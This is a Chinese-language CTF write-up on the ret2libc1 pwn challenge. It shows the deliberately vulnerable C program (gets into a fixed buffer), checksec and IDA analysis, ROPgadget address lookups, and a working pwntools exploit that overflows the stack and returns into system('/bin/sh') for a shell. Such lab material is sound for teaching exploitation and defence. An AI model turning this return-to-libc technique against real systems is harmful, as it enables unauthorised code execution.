ret2libc1

一、原理

ret2libc即控制函数执行libc中的函数,通常情况是返回至某个函数的plt处或者函数的实际地址(函数对应的got表项的内容)。一般情况下,会选择执行system(”/bin/sh“),所以需要知道system函数的地址

看C代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

char *shell = "/bin/sh";
char buf2[100];

void secure(void)
{
int secretcode, input;
srand(time(NULL));

secretcode = rand();
scanf("%d", &input);
if(input == secretcode)
system("shell!?");
}

int main(void)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);

char buf1[100];

printf("RET2LIBC >_<\n");
gets(buf1);

return 0;
}

二、程序分析

checksec检查一下程序的保护机制

1
2
3
4
5
6
7
zhuyuan@zhuyuan-vm:~/ctf-challenges/pwn/stackoverflow/ret2libc/ret2libc1$ checksec ret2libc1
[*] '/home/zhuyuan/ctf-challenges/pwn/stackoverflow/ret2libc/ret2libc1/ret2libc1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

程序开启了NX保护,所以栈不可执行,也就没办法执行我们自己的shellcode了,也不能利用跳转。所以需要使用系统自带的函数或者使用gadget(指令序列)进行溢出。ida中分析

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("RET2LIBC >_<");
gets(s);
return 0;
}

gets函数不限制长度,所以这是溢出点。s变量距离esp栈顶指针0x1c,距离ebp栈底指针0x64,所以s的距离ret返回地址为0x64+4

可以通过ROPgadget工具查看是否存在’/bin/sh’字符串

1
2
3
4
zhuyuan@zhuyuan-vm:~/ctf-challenges/pwn/stackoverflow/ret2libc/ret2libc1$ ROPgadget --binary ret2libc1 --string 'bin/sh'
Strings information
============================================================
0x08048721 : bin/sh

也可以直接查看system函数的地址

1
2
3
4
zhuyuan@zhuyuan-vm:~/ctf-challenges/pwn/stackoverflow/ret2libc/ret2libc1$ ROPgadget --binary ret2libc1 --string 'system'
Strings information
============================================================
0x08048303 : system

所以这样我们就得到了system和’/bin/sh’的地址,可以写exp了

三、EXP

下面是exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import*

sh = process('./ret2libc1')

#pop_ebx_ret = p32(0x0804841d)

bin_sh_addr = p32(0x08048720)

system_addr = p32(0x08048460)
payload = b'A'*112+system_addr+b'addf'+ bin_sh_addr
sh.sendline(payload)
sh.interactive()